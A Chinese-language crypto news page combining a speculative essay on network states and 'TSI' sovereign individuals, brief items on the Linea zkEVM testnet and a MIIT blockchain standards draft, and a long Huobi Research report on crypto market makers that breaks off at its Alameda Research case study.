垄断和集中是工业时代发展的结果，规模经济催生了现代的巨无霸企业。20 世纪以来由于分工的标准化和可拆分，设备和产业规模迅速飙升，有效的规模经济使得产业迭代和替换门槛提高，产品周期相对较长。我们看到了中美两国在各自的红利时代，经济增长过程中出现了相对稳定的市场局面和企业盈利模式。然而随着社会发展和市场的成熟，公司要进一步发展规模或是结构性转型，对固定资本的投入要求也会越来越高，这必然导致生产效率的僵化。而在信息时代，信息技术降低了设备投资成本，缩短了产品周期，迭代更快，竞争加剧。 世界发展到今天，已经成为了一个极其复杂且精密的庞然大物。 达尔文的进化论提出生物通过「基因变异」和「自然选择」进化，认为这种变异是随机的。但是随着现代生物学的发展，研究发现，生命体是以生物分子为基础一个复杂的循环反馈系统，形状改变受到各种因素的影响。在这个系统中，虽然一切有迹可循，但我们可以预见其复杂以及算法的精密与庞大。而社会的发展，又是由无数的生物体与物质世界构建而成。 在《隐秩序：适应性造就复杂性》中复杂系统科学的代表流派圣菲研究所分析了城市、人体免疫系统、中枢神经系统、生态系统，发现这些系统虽然具有迥异的细节，但存在如下共性： 面对变化，系统显示出协调运作性和持存性。这些特性依赖于广泛的相互作用、多种元素的聚集，以及适应性或学习。 这些如经济系统、因特网、胚胎各自面临的如贸易平衡、计算机病毒、出生缺陷等挑战从机制上看有许多相似之处。 小到一颗灰尘，大到浩渺宇宙，只有不依赖中央权威控制的自适应复杂系统，将会是生命力最长久的先进系统。而接下来的一切，只会更加复杂。 历史上世界格局和地缘政治的演变，根源来自暴力极其杠杆作用的影响。而信息时代对于暴力和防治的原始冲突，基于财产保全的逻辑，在 0 和 1 构建的世界里，利用数学特性就可以解决，而数学是最严密的科学。虽然数学本身是等价对称的，但是在等号两端的资源消耗是不对称的，例如质数相乘和因式分解。这个本质特征，已经开始了主导网络经济的塑造，不对称密码算法（RSA）和椭圆曲线加密技术（ECC）也使用了加密证明构建了今天加密世界财产保全的基础。加密圣经《主权个人》在 90 年代明确预见了这一可能性，高通量计算发现的这一特性，导致新的经济模式将会出现，它将更多地依赖自发的适应机制，而更少依赖有意识的决策以及官僚机构对资源的配置。以保护为首的新体系，将与工业时期以强制为主导的旧体系截然不同。 基于以上背景和事实，我们可以清楚的看到改变发生的必然性，同时可预测：不依托强权政府和管辖体系的网络国家会出现，TSI 将会兴起。 正如前文《荷马史诗》所描绘，在诸神的年代，神与人共同生活在一起，外形并没有差异。然而天神的生产力和智力处于巅峰状态，对于资源有更多的分配权，属于众神的奥林匹斯山神秘莫测且丰饶富裕，但普通劳动民众却难以抵达。人类精神文明起源最早的想象，或许就是我们的终极形态。在并不遥远的将来，强大的 TSI，和那些受支配的普通人生活在同样的物理环境中，但他们却同时处于一个更加独立的网络空间，就如同希腊神话里宙斯的子女，享有自己独特的文化和体系，议会与王权不能触达。这些 TSI 将掌握更多的资源，并且超越于强权之外。在新的世界里，有一套独立、合理高效的配置系统和共识规则。随着这一天的到来，一切都将重构。 TSI 的定义，不仅仅限制于某个单一的自然人类，应该包括能体现完整自由意志和独立意识的所有集合。因此，TSI 可以是一个自然人，可以是一个高度紧密的组织，也可以是一套通过逻辑统一的账号身份集合。物理消亡的人类个体，只要能在网络空间将所有历史数据统一融合，并且能通过算法模拟和程序实现代表个人意志的逻辑，理论上， TSI 在网络空间就不会消失。而这也将成为人类历史上第一次，脱离物理限制，在数字世界里实现永生的开始。 Chat-GPT 的出现，会加速封印的解除，摩尔法则下算力的提升，都会召唤出亚里士多德描述的「会说话的工具」，而他说的工具是人，在我们接下来的世界里，这个「工具人」指的是能交互、执行、甚至自我学习和提升的所有应用程序。 这一切将引起巨变，对整个社会造成深远的影响，包括且不限于以下方面： 1、全球定居的数字游民 未来的身份形式在网络空间植根成长，并在此基础上延伸出相应的社交和阶层，具备自下而上的属性，与作为系统性强制产物的国籍有着根本不同。数字游民自由选择定居地和离岸注册地（如需要），但不同的是，他们有进入或退出的选择权，不会支付高额的强加的税负，换句话说，政府在物理空间提供的保护，是数字游民的可选服务，他们是政府的客户，而不是统治对象。而这些早期的数字游民中，会有一部分回流到现实世界，继续成为公民，另外一部分选择并适应了这种全新的身份和模式，成为真正的 TSI，在网络国家持续建设，积累更丰厚的财富和资源。 2、网络经济并不会得到普遍欢迎 个体解放和自由，从来就不是人性共同的需求，也不是所有人都希望在下一场游戏中成为赢家，厌恶风险寻求庇护和归属感，仍然会是大部分人的心态。面对未来的不确定性会激发人的不满，而对当下的不满总是伴随着怀旧的情绪出现。最惧怕新事物出现的，可能主要来自于目前富裕国家的中产阶级，他们会感受到人工智能,区块链等技术在信息时代带来的威胁，而这部分群体非常庞大。同时，目前社会结构里金字塔顶端的大部分人，也会不满于 TSI 的新自由，会站在道德和舆论的高度进行抨击。 3、大国政府资源配置和税收能力显著下降 寻求权力保护的必要性下降，资金和财富个体会将资金转移到更优于市场化配置且税收友好的管辖区，并且可随时撤离，税收能力的下降会导致西方政府利用极权手段压制网络经济。最近发生的 CFTC 起诉币安和之前 SEC 将除 BTC 以外的所有加密货币定义为证券，接下来还会有更严厉的措施和手段。 4、大型组织解体，原有分工被打破，工作形式和职能改变 臃肿低效的平台组织大幅裁员，不再有「活少钱多」性价比高的工作。工作的雇佣形式趋于项目制、时长制、工作量制，不一定是组织内的某个职位。极致和杰出个体的劳动回报超过以往任何时代。 5、人工智能和加密技术是天平的两端，互相渗透和影响，制约和平衡 Chat-GPT 是资源集中后优化效率的极致体现，加密技术是去中心化的基础技术，好比天平的两端，任何事物都是在矛盾中发展和平衡的，而将来的商业模式创新，会在两极区间里进行取舍。 6、赛博空间商业体和超级 TSI 出现 元宇宙、DID、DEFI、Gamefi、等等今天出现的应用，最终会通过各种 protocol 和跨链桥交织而成的信息网络连接流通，形成一个赛博空间商业体。超级 TSI 在这个空间里掌握超级资源。 7、认知和思想等于个体财富能力，网络经济成为最庞大经济体 到 2025 年，网络经济的参与者将数以百万计。认知和思想在信息爆炸的年代会成为稀缺的宝贵资源，他们中间将会出现很多个比尔·盖茨，未来 30 年最伟大的经济现象，是网络经济，而不是金砖四国。 网络经济体的存在，将由于更高效的资源配置和淘汰机制，自适应的自下而上的复杂系统，加速自我成长和迭代，其蓬勃发展必然导致新的组织形态和商业模式出现，网络国家应运而生，独立存在于体系之外，但与现实世界又会有机融合，成为一个独特的庞大的经济体。而 Digital Nomads（数字游民）和 TSI 是这个经济体的主要组成。 预判未来从来就不是件轻松的事情，尝试着去勾勒未来的模糊的影像是为了更多的看清当下，在加密世界的商业发展和赛道投资，有可能出现以下几个方面的趋势： 1、基础设施、协议和应用层的界限会打破 由于应用产品的开发门槛和用户偏好的不可预测，应用赛道竞争往往更激烈，目前生态位也相对弱势。今天大基金往往更偏向投资基础设施和公链，同时也导致了这些赛道的估值奇高，资源过于集中，但产出效率低下，毕竟不是所有的公链都能在短期内完成生态的搭建。在赛博商业空间，未来更多的一种可能是，解决用户需求某些痛点的产品，可能本身就是一条开放开源的协议，甚至就是 L1 本身, 例如特定应用链的出现。而所谓「胖协议，轻应用」的意思是基于功能属性的区分，而不一定是技术架构。应用一定是迎爆网络经济体量的终极武器，没有应用场景的基础设施是没有意义的。而基础设施的不断完善例如 L2 为应用的开发降低成本，提升性能，两者是相辅相成的关系，甚至在某些场景可以合二为一。 2、基于全新范式的用户应用场景 从 2017 至今，我们看到了无数的应用形态出现，但至今没有出现大规模用户的产品，一方面是时间和周期的因素，另一方面是因为新的商业形态还在形成的过程中，创业团队要具备非常深邃的思考能力，才能基于底层需求进行构建，这无疑是个巨大的挑战。基于之前分析，尽管用户的体验需求和产品形态还不能确定，但是在网络空间和赛博商业的大趋势前提下，我们基本可以预测这几个方面：基于技术构建内容的工具平台、 新型契约关系下的网络构建、跨链身份和社交，去中心化交易的便利和资产保全，网络国家治理，等等。很庆幸看到 ChainIDE 作为开发者构建智能合约的平台，已经有 7 万多 dapp 基于其前后端搭建和部署；而通过 Ethsign 签署的合约已经超过 18 万份，以这一新型契约关系为基础的商业基础设施 Token table 也测试网开始上线。这些都是以解决痛点需求为切入口，提供平台与底层设施的产品形态，虽然这些数字在今天还微不足道，但是随着新时代的到来，预计 2025 年会出现爆发式增长。 3、在原生加密空间之外，会出现与现实商业结合的中间层 不是所有人需要完全的自治，以及具备自我财产保全的能力，但是基于传统金融爆雷和货币超发的预期，仍然会在加密领域进行一定的资产配置。现在的中心化交易所就是承担了这个职能，同时会吸收更多流动性入场。未来会出现同等生态位但是功能更丰富的夹层应用，商业模式以延续原有互联网需求为主，但是在支付和内容上，会与加密网络空间产生更多连接。 最后，站在时代的交叉路口，眺望远处，我们已经看到若隐若现的奥林匹斯山峰上，诸神正在醒来。  ( 5 min )
    ConsenSys的zkEVM测试网上线并更名为Linea
    PANews 3月28日消息，ConsenSys 宣布将其 Layer2 解决方案 ConsenSys zkEVM 测试网正式上线并品牌重塑为 Linea，目前已向所有开发人员、用户或协议开放测试。Linea 使开发人员能够不受限制地构建可扩展的 DApp。另外，通过 MetaMask 和 Truffle 等原生集成，Linea将零知识证明与 EVM 等效性相结合，为开发人员提供灵活性和可扩展性，而无需 ZK 技术专业知识。 相关阅读：以太坊最大开发公司ConsenSys发布zkEVM测试网，该如何参与？  ( 4 min )
    工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见
    PANews 3月28日消息，工信部今日就《区块链和分布式记账技术标准体系建设指南（2023版）》（征求意见稿）公开征求意见。其中提出，到2023年，明确区块链和分布式记账技术标准体系顶层设计，研究标准体系建设和标准研制的总体规则，明确标准间的关系，重点开展基础共性标准研制，基本满足我国区块链和分布式记账技术标准化需求。到2025年，进一步完善国家区块链和分布式记账技术标准体系，持续推动区块链和分布式记账技术基础共性、关键应用示范和安全保障等标准，有效指导我国区块链产业建设，提升技术与应用服务水平。  ( 4 min )
    万字起底加密做市商：推动市场繁荣，跨越牛熊周期的隐士
    原文标题：《跨越牛熊周期的隐士：加密做市商》 原文来源：Huobi Research 摘要 传统金融做市商业务从 19 世纪初期开始萌芽，到现在呈现出发展成熟、交易品种多元、业务和收益相对稳定的特点。做市商作为金融市场上重要的参与者，在提供市场流动性和市场效率方面发挥了其独特的作用。随着市场规模的不断扩大，越来越多的机构和投行也加入了做市业务，并成为其重要的收入来源。整体市场做市业务也向头部聚集，竞争激烈。为了抢占市场和客户，市商在算法、技术、风控、合规上不断升级，也逐渐涉及加密领域。 加密市场做市商业务与传统金融相比，在本质上区别不大。但是运作模式、技术、风险管理和监管上却有天壤之别。首先，在市场规模方面，加密市场相对于传统金融市场还比较小，加密行业市商规模也相对较小。加密市场的流动性相对较低，波动较大，做市商需要更加谨慎做好风险管理；其次，在加密市场的做市商团队也称为庄家。因为加密市场的交易过程很难被监管，也没有严格的做市商制度来约束。交易平台、项目方与市商之间的关系变得更加复杂。然后，市商业务不仅仅在中心化交易平台产生，还涉及链上做市，并以此为基础开始出现一些为做市服务的中间件和协议；最后一点是，在技术架构方面，加密行业需要具备更高的技术能力，保证交易的安全性。 加密市场做市业务是一片蓝海，给予每个投资人机会但也伴随着风险。目前，美国的证券交易委员会（SEC）和商品期货交易委员会（CFTC）对加密市场监管趋严，很多机构和业务都受到影响。再加上熊市行情，大型机构暴雷现象频发，对市商的风险管理更具有挑战性。除此之外，加密做市商还面临市场碎片化/互操作性、资本效率低下、监管不确定性以及仍在改进的交换技术/连通性等问题。 即使如此，加密市商仍然有很大的发展和盈利空间。加密做市商在未来也会呈现一些传统金融做市商的发展特点：（1）做市参与者逐渐多元化；（2）做市品种多元化；（3）业务杠杆高；（4）市商头部效应越发明显。在投资领域，可以关注中心化的小型市商策略或服务类项目、解决互操作性的工具、以及 CeDeFi 项目。 做市商是指在金融市场上提供流动性的机构或个人。其主要职责是为证券交易市场提供流动性和市场深度。做市商通常在证券交易市场的买卖双方之间进行交易，并在市场上提供报价，以便其他交易者可以在该报价上进行买入或卖出交易。做市商通常是由投行、证券公司或专业机构组成的，他们在市场上扮演着重要的角色，有助于保持市场的稳定性和流动性。做市商通常会在一个或多个市场上同时进行交易，并且通过买入和卖出同一种资产来提供流动性，以便为市场参与者提供交易机会。 做市商的主要目标是在资产价格波动时从价格差中获利，因此他们通常会使用算法和其他技术来分析市场，找到机会，并迅速进行交易。做市商可能会在股票、外汇、商品、债券等各种市场上进行交易。 图 1. 做市商制度 1.1 行业概述 1.1.1 行业职能与服务客户 做市商在金融市场上的作用非常重要，有别于其它市场参与者的独特性。尤其是在提供流动性和市场效率方面。具体来说，做市商承担了 6 个主要的职能： 做市商的客户主要包括以下几类： 1.1.2 做市商赛道的发展历程 做市商赛道的发展历程可以分为五个阶段： 1.1.3 市场规模与竞争环境 根据金融业监管机构 FINRA（金融业监管局）的数据，截至 2021 年 9 月，美国注册的合法做市商数量超过 500 家。这些做市商注册在 FINRA，并受其监管。据美国货币总局办公室（OCC），2012 年-2018 年美国商业银行控股公司合计交易总收入维持在 500 亿美元左右，尽管以 2018 年为代表的部分年份受二级市场行情拖累，交易收入同比有所下滑，但整体波动较小、呈现成长趋势。2019 年以来银行业交易收入进一步增长，2019、2020、2021 年美国银行控股公司合计总交易收入分别为 751.26、795.12、789.46 亿美元。做市商公司的规模或市场份额往往与其在该市场上提供流动性的程度有关，具体来说，做市商的市场份额可以通过以下几个指标进行衡量： 总之，做市商的市场份额是一个重要的指标，可以反映其在市场上的交易活跃度、流动性提供能力和交易效率等方面的表现。 较为著名的做市商公司有以下几家： 建立一家做市商公司需要具备高度的资金实力、技术能力和市场洞察力，同时需要满足金融监管机构的监管要求，且面对竞争激烈的市场环境和高度的风险管理压力，因此难度较高。 1.2.1 了解市场 做市商需要深入了解市场规则、流动性、交易品种和交易者的行为模式，以便做出正确的交易决策。他们需要了解市场中的趋势和机会，以便在市场中获得优势。了解市场的方法有以下几个： 1.2.2 建立技术平台 做市商公司需要一个高效、稳定的技术平台，能够支持实时交易和数据分析。该平台需要包括快速执行交易的算法、高速的数据传输和处理系统、以及安全的交易结算系统。具体来说，做市商公司需要具备以下 5 类技术： 1.2.3 确定资本需求 做市商公司需要大量的资本来支持其交易活动。你需要确定需要多少资本才能进入市场，并确定资本来源。以下是如何确定需要多少资本的方法： 综上所述，确定做市商需要多少资本需要考虑多种因素，并且需要根据不同市场的具体情况来进行分析和计算。需要注意的是，资本需求是一个动态的过程，需要根据市场变化和公司业务扩展来不断调整。 1.2.4 实施风险管理 做市商需要管理风险，以确保交易的安全性和稳定性。您需要制定风险管理策略，包括交易风险、流动性风险、市场风险和操作风险等。 市场风险管理是确保在不利的市场条件下仍能保持交易的正常运行。例如，做市商可以采用对冲策略、杠杆控制和交易限制等措施来管理市场风险。操作风险是为了保证交易过程中不会发生错误或失误。例如，做市商可以建立良好的交易流程和交易规则，并加强内部审计和监控等措施来管理操作风险。技术风险管理是为了确保交易系统的稳定和安全。例如，做市商可以采用备份和恢复策略、网络安全措施和数据加密等措施来管理技术风险。信用风险管理是确保交易过程中不会发生违约或不良资产损失等问题。例如，做市商可以采用信用评估和监控、保证金管理和风险控制等措施来管理信用风险。 在交易平台上，做市商通过双向报价（买入和卖出）来提供流动性，所以它的运作模式一般包括以下几个步骤： 图 2. 交易平台内做市商运作模式 在以上的运作模式下，其实存在两种驱动制度：报价驱动制度与指令驱动制度。报价驱动（Quote driven）制度是由做市商为投资者提供买卖双边报价进行对赌交易，通过报价的更新来引导成交价格发生变化。指令驱动（Order driven）制度又称竞价交易制度，投资者通过网络，把买卖指令传输到交易平台，交易平台的电脑主机根据时间优先、价格优先的原则，将买卖指令撮合成交，形成连续的成交价格。 做市商的盈利模式通常是从买卖差价中获得利润。做市商会在交易平台上同时报出买入和卖出两个价格，称为「双向报价」。当客户下单后，做市商会即时成交，然后以更高的价格卖出或更低的价格买入同一种证券，从中获得差价利润，这个差价通常称为 Spread 收益或者便利收入（Facilitation revenues）。做市商还可以通过高频交易、对冲、套利等方式进行盈利。其中，高频交易是指使用高速算法和自动化系统进行快速交易的一种交易策略。对冲是指用相反的交易来减少风险，套利则是指利用市场不同的价格来获得利润。除此之外，市商还有一种库存收入（Inventory revenues），库存收入反映做市商持有头寸时证券价值变动带来的损益和股利、利息等持有收益。 盈利水平通常取决于市场波动性、流动性和交易规模等因素。在市场稳定和流动性充足的情况下，做市商通常能够获得可观的盈利。 做市商的盈利还需要考虑交易成本，做市业务的成本主要包括三方面：买卖证券时支付的经纪佣金、清算费用等交易成本；为做市业务筹集资本的融资成本；为减少持有资产风险敞口而进行对冲带来的成本，以及无法清除的信用风险、交易方风险等风险成本。但由于做市商通常进行大量的交易，他们可以通过规模效应和高效的技术来降低交易成本，并从中获得盈利。 Spread 收益是做市商的主要收益。根据公开数据，大部分做市商的盈利情况相对稳定，但利润率并不高。 图 3. 做市商收入和成本账户示意图（来源：Committee on the Global Financial System，平安证券研究所） 1.5 监管和合规要求 做市商直接参与到证券市场的流动性和价格形成，其交易策略和行为可能会对市场产生影响，因此需要监管机构对其进行监管。监管可以有效地确保做市商公司遵守交易规则和市场秩序，防范市场操纵和不当交易行为，保障投资者的利益，维护市场的公正、透明和稳定。同时，监管还可以促进做市商公司的合规运营，加强风险管理和信息披露等方面的要求，提高市场的信心和透明度，降低市场波动性，促进市场的健康发展。因此，做市商受到监管的必要性不仅是为了保护投资者的利益，更是为了维护整个市场的健康运行。 这里主要考虑在美国的做市商机构受到的监管政策。在美国，做市商公司的监管是相对严格的。这些公司需要严格遵守证券交易委员会（SEC）和金融业监管局（FINRA）的监管要求，并遵守证券法规。此外，做市商公司还需遵守合规和反洗钱等方面的要求。监管机构对做市商公司的交易和业务进行严格的监管，包括对交易系统和算法的审核、对风控制度的检查和对数据保护的要求等。在监管方面，美国证券市场监管体系完善，对违规行为会有相应的处罚措施，因此做市商公司在日常运营中需要高度重视监管合规风险。具体部门和监管法律有以下： 做市商是一个随着证券市场逐渐成熟而发展起来的赛道，它在金融市场中发挥着重要的作用。随着金融市场的发展，做市商的市场需求还将持续存在。但是，现阶段已经发展较为成熟，市场也渐渐趋于饱和，新的机构很难再挤入这个赛道，所以越来越多的做市商团队以加密市场为其主要布局点。 总的来说，做市商赛道长期面临的挑战有以下几个方面： 机遇与挑战并存。随着全球金融市场的不断发展，证券市场交易的复杂性和规模不断扩大，做市商公司将有更多机会通过提供流动性服务和市场制造来参与市场，以此获得更高的利润。并且，在加密市场的快速发展下，做市商公司也可以通过提供加密资产的市场制造服务和流动性提供来获得更多的机会。同时，做市商公司可以通过开发和应用新的技术工具和算法来提高其市场制造能力，更好地适应市场需求，获得更多的市场份额。 加密行业的做市商与传统金融在本质上没有多大区别，都是为市场提供流动性，快速建仓和平仓，获得买卖价差。但是运作模式、技术、风险管理和监管上却有天壤之别。首先，在市场规模方面，加密市场相对于传统金融市场还比较小，加密行业市商规模也相对较小。其次，加密市场的流动性相对较低，波动较大，做市商需要更加谨慎做好风险管理；然后，在加密市场的做市商团队也称为庄家。因为加密市场的交易过程很难被监管，也没有严格的做市商制度来约束；最后一点是，在技术架构方面，加密行业需要具备更高的技术能力，保证交易的安全性。 加密市场的做市商起着重要的作用，包括：（1）为加密市场提供流动性和深度；（2）为市场提供稳定的价格，吸引更多的交易者。可以说做市商是让项目方、交易平台、投资人在加密市场上正常运转的关键一环。 加密市场做市商的发展可以分为 3 个阶段： 目前，加密做市商的服务不仅局限于交易平台，还逐渐扩展到了场外交易和去中心化交易平台等领域，为市场的发展和成熟提供了重要的支持和保障。 加密做市商的运作模式与传统金融做市商类似，主要是为加密货币市场提供流动性和市场深度，同时从中获取利润。加密做市商通常在多个交易平台进行交易，加密做市商的交易通常是自动化的，并且通过 API 接口与交易平台进行连接。在市场内，通过自己的资金和算法模型来提供报价，以吸引买方和卖方进行交易。一些加密做市商还会提供场外交易服务，允许大宗交易和定制化交易。由于加密市场的波动性和不确定性，加密做市商需要实时调整自己的市场策略，包括交易规模、报价范围和对冲风险等方面。 加密做市流程一般包括以下几个步骤： 图 4. 加密做市业务运作模式 除以上步骤，做市商还需要不断监测市场情况，包括市场流动性、竞争对手的行动以及市场风险等，以便及时调整自己的策略和报价。 2.2.1 做市策略 做市策略（market-maker strategy）是一种风险中立（risk-neutral）盘口价差套利策略，属于量化交易策略中的高频交易策略，遵循低买高卖原则。其基本原理是：在盘口的卖一和买一价之间，插入委买单和委卖单，如果插入的两个单子都成交的话，做市商就吃到了买卖单之间的价差，而整个过程结束后，做市商所持有的头寸并没有变化。如果买卖单之间的价差扣除各种交易手续费之后还有盈余，那么该做市商就获得了相应的盈利。常见的做市策略包括价差策略、对冲策略、量化交易策略等。 做市策略根据不同的市场，划分为现货做市和期货做市策略。现货做市策略有短期趋势判断、做市、再平衡和主循环四个模块。期货做市策略更为复杂，包括做市时机选择、净头寸处理、锁仓、移仓、对手盘减仓等复杂的逻辑。 2.2.2 场外交易 加密做市商提供场外交易服务的方式通常是通过与交易对手方建立联系，与其协商价格和交易细节。具体来说，加密做市商会在交易平台或其他场外渠道上发布其做市价格，等待交易对手方接受并进行交易。此外，加密做市商还可以利用自己的流动性池，在需要时向交易对手方提供实时报价和交易机会，以满足其流动性需求。同时，加密做市商还可以提供交易对手方的清算和结算服务，确保交易的顺利进行和资金安全。 加密做市商需要与传统做市商在技术上完全重合，但加密做市商需要掌握更多的技术，最重要的是区块链技术。加密货币交易基于区块链技术，因此加密做市商必须了解区块链技术及其在加密货币交易中的应用，以便理解交易的本质和技术细节。了解交易平台和钱包如何与区块链交互，以及如何识别和解决由于网络拥堵或其他问题导致的交易延迟等问题。 其次，对于加密行业来说，资产的安全性也是非常重要的。由于加密货币交易存在一定的安全风险，因此加密做市商需要掌握相关的安全技术，以保护交易系统的安全。具体技术包括多重签名技术、冷钱包存储、安全通信协议、交易监测和反欺诈技术、数据备份和恢复技术等。 其它技术不限于： 数字货币交易平台与做市商团队关系微妙。一些加密交易平台可能拥有自己的做市商团队，但也有许多交易平台选择与第三方做市商合作。交易平台与市商合作有两种形式： 做市商直接与加密交易平台进行合作，提供场内做市服务。交易平台很多时候会提供一些做市商的计划，需要这些团队配合，并提供交易接口，但这些都属于被动交易的接口，不能主动吃单。要想能主动报价并吃单，只能由交易平台内部做，直接或间接地嵌入交易平台撮合系统。 此时，做市商需要通过 API 接口获取交易平台的订单薄和市场深度等信息，然后使用自己的算法和交易策略进行市场定价和交易撮合。 交易平台需要给市商提供相关的模块接口，通常包括行情数据、下单退单、充值提醒等。 做市商通过其他中介机构或平台与加交易平台进行合作，提供场外做市服务。此时，做市商需要与中介机构或平台进行协商，确定合作方式和合作细节，并通过 API 接口或其他渠道获取交易平台的市场信息，然后进行场外交易。 需要注意的是，加密交易平台并不是必须使用做市商来提供流动性。有些交易平台可能采用其它方式来提高流动性，例如使用深度池或订单薄匹配引擎等技术。在与加密交易平台合作时，做市商需要与交易平台就合作细节、费用分配、交易量等方面进行协商，以确保合作顺利进行并获得可观的收益。同时，做市商需要严格遵守交易平台的规则和监管要求，以确保交易的合法合规性。 从交易机制分析，交易平台内部对接的做市商很大程度上参与了价格决定过程，一定程度上能够抑制妄图操纵币价的人，改善投资者和项目方预期，稳定市场情绪。 市商的存在对交易平台的流动性起到了促进作用。一个交易平台的流动性越高，用户的交易体验越好，用户粘性增强，交易平台也就能获得更多的利润，因此交易平台愿意给一些专门做市商的人予以返利。 在 2017 年、2018 年左右，大批新的交易平台上线，带领了「交易即挖矿」的概念，部分交易平台运营的初期甚至根据交易量返现 120% 用于吸引市商参与交易。 为了争取更多优秀的市商团队在交易平台进行做市，各大交易平台都有推出自己的服务方案。首先，交易平台本身需要有更多的服务产品，包括更多现货交易对和期货类型、保值类产品（低利率的借贷服务等）、提供更多的交易策略和算法服务。其次，合理且富有吸引力的返佣比例。最后，交易平台的风险管理和信誉是最重要的。这里列举一些交易平台的为市商提供的活动。 从以上活动列表能够看出，Gate 从 2021 年推出全球做市商计划后，不断有做市商大赛的活动来吸引做市团队。同时，也在不断调整做市费率和 GT 持仓。除此之外，为市商也提供一些服务，包括 0 息借贷额度。 做市商在现货、期货、期权市场都会参与，而且门槛也是越来越高。相应的，交易平台也会在不同的参与市场给予不同的特权。一般情况下，交易平台可以在以下项目在中给予市商优惠： 对于市商来说，手续费是特别关键的，尤其是高频交易过程。当然，在交易平台刚成立初期，很大可能会花钱请一些市商做市，尤其是期货、期权。 图 5. 做市商与参与者关系 在加密市场中，项目Token的流动性与产品、团队、运营处于同等重要的位置。项目方和做市商之间的关系主要是通过做市商为项目方提供流动性服务来建立的。项目方，尤其是新项目在 ICO 或者 IEO 阶段，需要做市商团队进行价格管理。做市商起到的作用有 3 点：（1）弥补市场流动性不足的缺点；（2）稳定币价，防止价格过高或过低导致项目失败；（3）市值管理，提高项目的市场认可度。这些工作交给专业的做市商团队，比项目团队自己运作需要的成本更低。 由于监管缺失，做市商可以通过在市场上买进和卖出，带动成交量。当然，这种「虚假」成交量可以吸引部分投资者的关注度。 项目方会选择一些知名的加密交易平台与做市商合作，以获得更好的流动性和更高的市场认可度，这需要项目方向做市商提供一定数量的Token作为初始流通。做市商同意在至少 90% 的合同期限内为订单簿提供活跃的流动性，作为交换，他们可以获得项目总Token供应量的 2-5%。对于做市商来说，与知名项目方合作可以提高其在市场中的知名度和声誉，有助于吸引更多的交易对进行交易。因此，在加密市场中，项目方和做市商之间的合作关系非常重要。 除了提供流动性之外，市商还会为项目方提供额外的服务，包括制定Token价格（尤其是 STG）策略以及帮助团队套现 与传统做市商一样，加密做市商也是通过买卖交易行为的价差获得利润。但是，在加密市场缺乏监管的情况下，这种价差可能会很大，市场波动性大，收益也会更加不稳定。 加密做市商还有两部分收益来源：（1）帮助项目方做市；（2）协助交易平台维持足够流动性和交易量。 其中，与项目方合作，市商的盈利模式通常为以下两种： 与交易平台合作，也有两种盈利模式： 随着做市商的数量越来越多，竞争性越强，为了赢得更多的市场，做市商会缩小报价价差，导致收益减少。 如何选择市商团队或者评价市商表现对加密市场参与者是十分重要的。评价做市团队的常用指标包括做市商的交易量和交易频率、报价的精度和稳定性、利润率和风险管理能力、市场份额和声誉。但是对交易平台、市场接受者、项目方而言，更看重的是做市商提供流动性的表现。流动性表现的参考指标包括报价深度、准确性、更新频率和成交效率。 简单的指标在各交易平台的做市商活动中会有列举，包括做市商委托量、买卖价差、报价、标识要求覆盖率、做市时间等。也有一些交易平台采用比较复杂的指数，比如权重深度乘数、流动性指数等。 加密做市商目前仍然处于监管的灰色地带，尚未在大多数国家和地区得到明确的法律和监管框架的支持。这意味着加密做市商通常不需要遵守传统金融市场中所规定的严格监管标准，也没有受到相应的监管机构的监管。不过，在某些国家和地区，监管机构已经开始探索如何监管加密做市商，以确保市场的透明度、公平性和稳定性。 加密市场做市商所涉及到的监管机构包括，美国的证券交易委员会（SEC）和商品期货交易委员会（CFTC）对加密市场有一定的监管职责，其中 SEC 负责监管加密资产的证券性质，CFTC 则监管加密衍生品合约等交易。此外，欧盟的金融市场监管机构 ESMA 也开始探索加密市场的监管框架，旨在确保加密市场的透明度和稳定性。 近些年，这些监管机构的案例有： 这些案例表明，监管机构已经开始对加密做市商的监管进行探索，并制定了一些相关的指导方针和监管框架。未来随着加密市场的不断发展，监管机构对加密做市商的监管也将越来越重要。 在合规性上，加密做市商同样需要遵守各种法规，各国存在差异，但一些常见的合规性要求包括： 此外，一些国家或地区可能还有其他的监管要求，例如税务、证券或期货等领域的法规等。 做市商在加密市场上面临着多重风险，包括： 做市资金风险：做市资金与传统金融做市类似，直白点，就是做市资金规模和资金流转效率决定了市商的级别。尤其是涉及到出入金，对做市来说就是第一个门槛。做市团队一般开户银行以 Silvergate bank 和 Signature bank 为主。但这两家加密友好银行最近面临破产危机，很多资金无法取款。这加大了未来机构入局加密领域的门槛。 为了应对以上风险，每个市商都会有一定的策略，比如在极端动荡市场中，更倾向于抽身而退。或者采用风险对冲的策略对头寸进行保值，依据存货模型、信息模型将风险转移到资产。 链下的风险一般是交易风险，如历史数据的完整性、策略模型设计上的缺陷、系统故障、风险控制缺失、过度拟合以及交易成本敏感性风险。 资产价格波动巨大的存货风险：如果标的资产的价格朝着单边方向发展，例如在上涨趋势里，卖单成交后买单没有成交，就会承担卖出价格上涨的风险。在下跌趋势里，买单成交后卖单没能完全成交，就会承担买入价格下跌的风险。 买卖指令下达频次和数量都具有随机性，也许会造成卖出单成交以后买入单还没有完全成交的风险。 交易平台bug，交易对出现问题，交易平台并没有开启保护措施。 加密市场的风险来源不仅仅是链下交易行为带来的风险，而更多可能出现的风险来自链上。首先，如果做市Token的智能合约存在漏洞，被黑客攻击，这样会造成市商存量资产受到损失。其次，加密做市商可能需要参与链上协议、DeFi 应用等，以提供流动性，链上的一切风险都会传导到每一位参与者头上。比如，协议所在公链出现分叉或者链上交易的速度变慢。 为了控制以上可能出现的风险，市商也会设定严格的策略与纪律。 注重交易质量而不是数量 做市商虽然能通过为交易平台提供流动性获取一定的佣金，但是过度交易往往浪费更多的时间和金钱，因此有效交易的关键是选择交易质量而非交易数量。这体现在三个方面：（1）选择好的资产标的；（2）选择信誉良好的交易平台；（3）分析市场，确定合适的交易策略。   4、加密做市商典型案例分析 近年来，随着加密货币市场的不断发展，加密做市商公司逐渐崛起。这些公司致力于提供流动性管理、价格发现和交易撮合等服务，以满足日益增长的加密货币交易需求。当前，全球范围内已有众多专业的加密做市商公司涌现，它们采用各种高效的技术和策略，为市场参与者提供多样化的交易服务，促进了加密货币市场的进一步发展和成熟。由于加密市场与传统金融还有很大差距，对市商来说，更容易形成垄断，加密货币的流动性被几家大型市商主导。这里包括 Jump、Wintermute、Amber Group、B2C2、DRW Trading。 Alameda Research 成立于 2018 年，总部位于美国加利福尼亚州。该公司由数学家 Samuel Bankman-Fried 创立。Samuel Bankman-Fried 曾在 Jane Street 